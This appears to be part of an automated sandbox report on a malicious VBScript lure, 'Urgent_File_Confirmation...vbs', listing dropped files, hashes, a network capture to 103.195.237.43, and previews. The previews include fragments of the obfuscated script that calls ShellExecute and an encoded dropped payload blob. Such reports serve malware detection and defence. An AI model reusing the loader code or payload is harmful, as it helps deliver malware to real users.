Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.128095402251149
Encrypted:	false
SSDEEP:	6:kK5zi9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ZdDnLNkPlE99SNxAhUe/3
MD5:	BC2C74B36B11021AAEEFC0AB0D589AF6
SHA1:	14B6F6FC16C8F9D9B4D3CDBB36D7D23A3EE21B25
SHA-256:	CF8CB296C03329743F220D61E00BBB8E29E22A00F143724E4A39B5A009B6D4D0
SHA-512:	145FA9BEB0D05F59E0E66124D39563B9ABC99B998BB34A5DF1C1D1E11474561259CE9DDCEA5F82539F466CA32C88FC495CDC1C32A255BBC866D43A207706F182
Malicious:	false
Reputation:	low
Preview:	p...... ........3b.....(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9R:9rib4Z1VoGIpN6KQkj2qkjh4iUxsT6YP
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25dnuflu.ci0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lykckzwr.vzf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xzvscs4r.jtf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z531fgvl.vw2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Paraphysiferous.Mak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	525760
Entropy (8bit):	5.975712549843865
Encrypted:	false
SSDEEP:	12288:/a2eEpMinDvkfN+hyQCcEKEQgkPAUMkY171lO:/a3EhDvkohac7EnGAUMfW
MD5:	53E3335A514DEE2DD07BC369AED7847C
SHA1:	B45830532DC1463C78E6A877051B214642995DFC
SHA-256:	BA2D10B398D13B8EB8098BD430E128E318E2653A333E5E292B9780FFFC3AEBF0
SHA-512:	A148149E91ADFA6BE77F8DA625851AE0809C82935BF4DF6076C8CB1403E97F5876CFFF6D70DABFCB0FC7CC7B3AAD89E9785896B1A3C5F715C541705B324F6445
Malicious:	false
Preview:	m9vjZg/VwOtXVLvTVA0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0ND4G1AAAAZg/699n0600KpIxJqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqptmD3Pz7GYP+tfrVL2L4SDX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX12YPY8nZ0OtXAF+3WXp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6enp6D4GqAAAA2Mzd0OtTgiR3S/Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fGbD+Lo2fLrSVlHzXaampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampoP1fLdwetTE3vBexgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBhmD2HcZg9z8+vrR5nHf14MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMu31QFwDZ+t3h60RNO59pkJCQkJCQkJCQ

Static File Info

General

File type:	ASCII text, with very long lines (2211), with CRLF line terminators
Entropy (8bit):	5.626262967407261
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Urgent_File_Confirmation_00000000000000000000.vbs
File size:	27'188 bytes
MD5:	182b6f3f627a31ed7ca07dac5301a313
SHA1:	10344a8ea462146b923a66accacb6882d5788322
SHA256:	a268983f063d0e933961c93cd3d813a7b8ba94d81789eced7da6a2e3bef32836
SHA512:	146bef6dd1139c90cdad182c21541c3da1375b1cb633365d42073eed294448bb51192600e81ece22f79663137a28f94193b7a4856d61eec6da14772b71cd1392
SSDEEP:	384:9lzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwp83bBSU3fJq:/zSR022X/523S0e8xPPmt3tSsm2i8Gr
TLSH:	D8C23AE48E073954874B7EE39C2944718AB101E7021128B169EDB7ED9782F2CE7FDC5A
File Content Preview:	Function Baneudvidelse....Call Frkkertens.ShellExecute("P" & skumtppers, Svigermoders, "", "", Dangs237)....End Function ....Spetrevlemundstetiser = String(236,"M") ....Rvertogterne = 61512..Supranaturalistic = &H617B..decreers = -54055..dermophobe = "Ark

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 08:45:32.523384094 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:32.528471947 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:32.528614044 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:32.528959036 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:32.533875942 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.493848085 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.493865967 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.493879080 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.493890047 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.493906975 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.493917942 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.493937969 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:33.493973017 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:33.745811939 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.745830059 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.745840073 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.745851040 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.745874882 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:33.745928049 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:33.745996952 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.746045113 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.746054888 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.746082067 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:33.746130943 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.746140957 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.746165037 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:33.746906042 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:33.746951103 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.000731945 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.000776052 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.000793934 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.000806093 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.000817060 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.000825882 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.000859976 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.001149893 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.001163006 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.001173973 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.001198053 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.001223087 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.001245022 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.001257896 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.001298904 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.002013922 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.002064943 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.002077103 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.002101898 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.002108097 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.002150059 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.091263056 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.138838053 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.252769947 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.252800941 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.252813101 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.252825975 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.252837896 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.252857924 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.252891064 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.253218889 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.253241062 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.253262997 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.253345966 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.253390074 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.253396988 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.253408909 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.253447056 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.253478050 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.253489017 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.253539085 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.254221916 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.254252911 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.254264116 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.254292011 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.254318953 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.254331112 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.254362106 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.255084038 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.255105019 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.255110979 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.255162954 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.504420996 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.504434109 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.504453897 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.504460096 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.504472017 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.504504919 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.504511118 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.504534006 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.504534006 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.504628897 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.505002975 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505040884 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505074024 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.505119085 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505173922 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505182981 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505186081 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.505219936 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505251884 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.505578041 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505639076 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505646944 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505691051 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.505691051 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.505737066 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505743980 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505755901 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505762100 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.505822897 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.505822897 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.506489038 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.506542921 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.506555080 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.506620884 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.506627083 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.506639004 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.506642103 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.506743908 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.756469011 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756623030 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756644011 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756669044 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756741047 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756752014 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756778955 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.756804943 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756813049 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756838083 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.756932974 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756969929 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756975889 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.756983042 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.757049084 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757055998 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757057905 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.757064104 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757086039 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.757256031 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.757505894 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757512093 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757524014 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757577896 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.757625103 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757641077 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757647991 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757653952 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757715940 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.757715940 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.757721901 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.757853985 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.758215904 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758260012 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758271933 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758368015 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.758398056 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758404970 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758410931 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758418083 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758461952 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.758516073 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758522034 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758528948 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.758784056 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.759179115 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.759265900 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.759273052 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.759284019 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.759360075 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:34.992535114 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:34.992687941 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.008898973 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.008934021 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.008946896 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.008954048 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.008960009 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.008965969 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.008977890 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.008985043 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009016991 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.009078979 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009084940 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009098053 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009103060 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009109974 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009113073 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.009155989 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.009282112 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009394884 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.009766102 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009812117 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009819031 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009882927 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.009924889 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009932041 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009938955 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.009944916 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010059118 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.010350943 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010365009 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010368109 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010463953 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010471106 CEST	80	49731	103.195.237.43	192.168.2.4
